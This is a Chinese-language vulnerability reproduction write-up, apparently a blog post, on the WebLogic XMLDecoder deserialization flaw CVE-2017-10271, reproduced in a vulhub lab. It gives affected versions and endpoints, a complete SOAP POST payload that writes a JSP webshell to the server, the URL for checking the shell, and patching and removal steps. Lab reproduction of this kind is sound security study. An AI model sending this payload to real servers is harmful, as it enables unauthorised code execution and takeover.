【漏洞复现】WebLogic XMLDecoder反序列化(CVE-2017-10271)

1、漏洞描述

CVE-2017-10271漏洞产生的原因大致是Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。

2、涉及版本

10.3.6.0.0
12.1.3.0.0
12.2.1.1.0
12.2.1.2.0

3、环境搭建(vulhub)

cd weblogic
cd CVE-2017-10271
docker-compose up -d
docker-compose config

不会搭建的参考我之前的漏洞复现以及vulhub靶场搭建笔记:vulhub docker靶场搭建-CSDN博客

4、漏洞利用

1)访问链接:http://192.168.61.129:7001/wls-wsat/CoordinatorPortType

返回如下页面,表示漏洞存在。

漏洞不仅仅存在与 /wls-wsat/CoordinatorPortType,只要是wls-wsat包中的Url皆收到影响,可以查看web.xml得知所受到影响的URl。

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

2)构造数据包

构造写入文件数据包发送,其中Content-Type需要等于text/xml,否则可能导致XMLDecoder不解析。

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.61.129:7001
Accept-Encoding: gzip, deflate
Accept: */*Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 645
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>   
  <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 
  <java><java version="1.4.0" class="java.beans.XMLDecoder"> 
  <object class="java.io.PrintWriter">   
  <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shell.jsp</string> 
  <void method="println">
<string>  
  <![CDATA[
<% out.print("webshell"); %>
  ]]> 
  </string>  
  </void>   
  <void method="close"/>   
  </object></java></java>  
  </work:WorkContext>   
  </soapenv:Header>   
  <soapenv:Body/>
</soapenv:Envelope>

3)验证webshell。

我们访问恶意路径:http://192.168.61.129:7001/bea_wls_internal/shell.jsp

不熟悉JAVA可以了解构造的XML。

https://docs.oracle.com/javase/tutorial/javabeans/advanced/longpersistence.htm

4)实战下Linux反弹shell。

我们kali开启监听。

成功获取到shell。

5.解决方案

1.临时解决方案

根据攻击者利用POC分析发现所利用的为wls-wsat组件的CoordinatorPortType接口,若Weblogic服务器集群中未应用此组件,建议临时备份后将此组件删除,当形成防护能力后,再进行恢复。根据实际环境路径,删除WebLogic wls-wsat组件:

rm -f   /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f   /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

删除后重启Weblogic域控制器服务:

DOMAIN_NAME/bin/stopWeblogic.sh           #停止服务
DOMAIN_NAME/bin/startManagedWebLogic.sh    #启动服务

删除以上文件之后,需重启WebLogic。确认http://weblogic_ip/wls-wsat/ 是否为404页面。

2.官方补丁修复

前往Oracle官网下载10月份所提供的安全补丁:http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html升级过程可参考:http://blog.csdn.net/qqlifu/article/details/49423839

相关推荐
茶颜悦色vv34 分钟前
Wireshark(1)
网络·web安全·网络安全·wireshark
上海文顺负载箱44 分钟前
程控电阻箱应用中需要注意哪些安全事项?
安全
纯净的灰〃1 小时前
vulnhub-matrix-breakout-2-morpheus
安全·web安全·网络安全
愿得一人欣2 小时前
工具大全-dirsearch探测Web目录
网络安全·ctf比赛工具·渗透工具大全
赛德乌漆麻黑哟2 小时前
FOFA--网络空间资产搜索引擎(常用语法以及拓展)
网络·安全·搜索引擎
D1TAsec2 小时前
编译型语言的痛!但无文件落地我可以!!!
网络安全
Hacker_Oldv3 小时前
iptables网络安全服务详细使用
网络·安全·web安全
xcLeigh3 小时前
网络安全 | 云计算中的数据加密与访问控制
安全·web安全·云计算
不惑_4 小时前
List 集合安全操作指南:避免 ConcurrentModificationException 与提升性能
数据结构·安全·list
老猿讲编程7 小时前
整车厂如何规划构建汽车集成安全团队的软件研发能力
安全·汽车